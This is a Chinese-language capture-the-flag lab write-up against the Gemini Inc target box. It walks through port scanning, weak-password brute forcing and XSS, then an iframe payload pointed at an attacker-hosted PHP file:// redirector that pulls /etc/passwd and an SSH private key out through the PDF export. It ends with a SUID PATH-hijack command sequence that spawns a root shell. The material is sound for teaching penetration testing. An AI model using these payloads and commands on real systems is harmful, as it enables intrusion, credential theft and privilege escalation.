实验目的:
掌握nmap、dirb等工具的使用,掌握单主机渗透常规思路。
知识点:
端口扫描,目录扫描,信息收集,suid提权,文件包含漏洞,ssh免密登录。
实验目标:
获得flag
实验步骤:
目标ip:192.168.12.22
1. 信息收集
首先先使用nmap进行信息收集
发现目标开启了80和22端口(HTTP和SSH)
2. 漏洞探测与利用(目录遍历、弱口令破解、XSS检测)
接着访问目标的80端口
目录存在目录遍历,点击test2进入test2目录
从界面上的信息得知,这是一个内部网站,允许员工导出个人信息,导出的文件为pdf格式。
接着使用目录扫描工具进行扫描,但是收集子目录后访问并没有获得什么信息
观察主界面,发现有个登录login,点击后要求输入账号密码
接着尝试进行密码暴力破解,最后破解得到的弱口令为admin 1234
我们登录进去 发现界面变成了欢迎admin用户
进入菜单页面
这里有个display name字段名称,默认是hello
对他进行修改后,发现页面也变成修改后的名称
这个时候马上想到会不会存在xss漏洞
回到编辑页面输入<script>alert(1)</script>
果然进行了弹窗
3. 本地文件读取漏洞利用(搭建本地web服务、构造恶意`<iframe>`、导出PDF窃取敏感信息)
但是如果就单单一个xss漏洞获得不了什么信息
网站功能上很单一,猜测编辑处是不是可以存在代码执行或者远程文件包含等漏洞。
接着在kali本地开启web服务,在终端中输入service apache2 start 。
然后输入netstat -antp显示占用端口,80成功执行apache2
然后切换到/var/www/html/目录中(也就是apache网站的默认路径),新建一个index.php文件,index.php文件内容为:
两种写法都可以,
$filename = $_GET['file'];:
通过$_GET['file']获取 URL 中file参数的值(比如访问index.php?file=/etc/passwd时,$filename就会被赋值为/etc/passwd)。
header("Location: file://$filename");:
header()是 PHP 的 “发送 HTTP 响应头” 函数;
Location:是 HTTP 的 “跳转指令”,意思是 “让客户端(浏览器)跳转到后面的地址”;
file://$filename是跳转目标,用file://本地文件协议指定要访问的文件路径。
接着回到网站编辑处,输入:
<ifram height="1000" width="800" src="http://192.168.12.200/index.php?file=/etc/passwd"></iframe>
这个iframe就是个内嵌,就是在这个页面上内嵌另一个独立的网站
就类似于这样
接着导出为pdf,发现成功获得靶机的用户信息
原理:我们搭建的网站→通过<iframe>传参→触发靶机文件读取漏洞→靶机返回文件内容→在我们的网站中展示;实现本地文件读取漏洞
4. 权限获取(窃取SSH私钥、格式调整与权限设置、SSH密钥登录)
仔细观察用户,用户gemini用户的登录系统的路径是/bin/bash
gemini1用户是可以登录终端的,而且22端口是开放的。那么就尝试读取gemini1用户的私钥,利用私钥来进行ssh登录。
修改Display name为:/home/gemini1/.ssh/id_rsa(这是默认的私钥路径)
我们现在获取私钥就是为了ssh远程登录,因为passwd里面的口令被加密过。但是只要有私钥可以不用口令,直接登录
成功获得私钥,copy进行复制到文件key里
这样的内容目前是无法使用的,因为不符合私钥的格式,需要根据pdf中的换行将私钥调整称为一样的格式,最终的效果如下
chmod 700 key
然后修改权限为700(注意这里如果其它用户的权限过高,这个私钥会无法使用)
现在就可以进行ssh远程登录了
ssh -i 密钥 用户名@靶机的ip(-i是告诉 SSH 客户端,使用指定的私钥文件(而非密码)来完成靶机的身份验证。)
5. 权限提升(SUID文件查找、环境变量劫持提权)
成功登录后就要考虑提权的操作了
SUID 是 Linux 的一种文件权限标识,它的作用是:当普通用户执行带有 SUID 权限的文件时,会临时获得该文件所有者的权限。
所以我们要先找出所有suid的文件
find / -perm -u=s -type f 2>/dev/null
其中有个listinfo文件
运行此文件来看下功能。
这个工具会展示系统的一些信息,比如端口信息和日期信息等,这些信息都可以使用linux中的命令来获取,想要证明猜想的话其实可以使用反编译工具来看源代码,如果这个工具真的调用了系统命令来获取信息的话,那么我们可以利用环境变量来更改此工具调用的命令,最终达到提权的目的。
在终端中输入下面命令。
echo "/bin/sh" > date
chmod 777 date
export PATH=/home/gemini1:$PATH
/usr/bin/listinfo
解释一下代码原理:
先理解前提:listinfo是个啥?
listinfo是靶机上的带 SUID 权限的程序,且它的所有者是root。所以普通用户(gemini1)执行它时,会临时以 root 身份运行。
再看listinfo的功能:它会调用系统命令
从运行结果能看到,listinfo会显示 “日期信息”—— 这说明它内部调用了date命令(Linux 显示日期的系统命令)。
但这里有个漏洞:listinfo调用date时,用的是 **“只写命令名(没写完整路径)” 的方式 **(比如代码里写的是system("date"),而不是system("/bin/date"))。
核心思路:“环境变量劫持” 骗它执行我们的命令
Linux 中,程序找 “只写命令名” 的程序时,会按PATH环境变量的路径顺序去查找。我们的操作就是伪造一个 “假的 date 命令”,让listinfo(以 root 身份)去执行这个假命令,从而拿到 root 权限。
逐行拆解命令操作
echo "/bin/sh" > date
新建一个叫date的文件,内容是/bin/sh(/bin/sh是 Linux 的 Shell 终端命令)。
这个 “假 date” 的作用:谁执行它,就会打开一个 Shell 终端。
chmod 777 date
给这个假date文件加 “可执行权限”,让系统能运行它。
export PATH=/home/gemini1:$PATH
修改PATH环境变量,把当前用户的家目录(/home/gemini1,也就是我们放 “假 date” 的目录)放到PATH的最前面。
这样程序找date命令时,会先找到我们的 “假 date”,而不是系统默认的/bin/date。
/usr/bin/listinfo
执行listinfo(它是 SUID 程序,会以 root 身份运行)。
listinfo内部调用date时,会优先找到我们的 “假 date”,并以 root 身份执行它→ 打开 root 权限的 Shell 终端。
6.最终拿flag
这样就获得了root的权限
在/root的路径下成功拿到flag
总结:
针对Gemini Inc靶机(IP:192.168.12.22),通过渗透测试技术链,完成 ** 信息收集→漏洞利用→权限获取→权限提升→获取目标文件(flag)** 的全流程验证。
信息收集:端口与服务探测
- 用
nmap扫描发现靶机开放 80(Web 服务)、22(SSH 服务)端口,明确渗透入口(优先从 Web 服务突破)。
- 用
Web 层漏洞利用:从弱权限到敏感文件泄露
- 目录遍历 + 弱口令破解:通过目录遍历进入
test2目录,暴力破解登录口弱口令(admin/1234)获取后台权限; - XSS 验证与功能拓展:发现
display name字段存在 XSS,但无实际利用价值,转而挖掘文件操作类漏洞; - 本地文件读取漏洞利用:通过构造
<iframe>+ 本地 Web 服务的 PHP 脚本(header("Location: file://$filename")),利用靶机功能的参数可控性,窃取靶机/etc/passwd(用户信息)、/home/gemini1/.ssh/id_rsa(SSH 私钥)等敏感文件。
- 目录遍历 + 弱口令破解:通过目录遍历进入
权限获取:SSH 密钥登录
- 调整窃取的私钥格式、设置权限(
chmod 700),通过ssh -i指定私钥,以gemini1用户登录靶机,获取普通用户权限。
- 调整窃取的私钥格式、设置权限(
权限提升:SUID + 环境变量劫持
- 查找靶机 SUID 文件(
find / -perm -u=s -type f 2>/dev/null),定位到listinfo(root 所有的 SUID 程序); - 利用
listinfo调用date时 “未写全路径” 的漏洞,构造假date文件(内容为/bin/sh),修改PATH环境变量优先加载假date,执行listinfo时以 root 身份触发假date,获取 root 权限。
- 查找靶机 SUID 文件(
最终目标:获取 flag
- 切换到
/root目录,成功读取目标 flag 文件。
- 切换到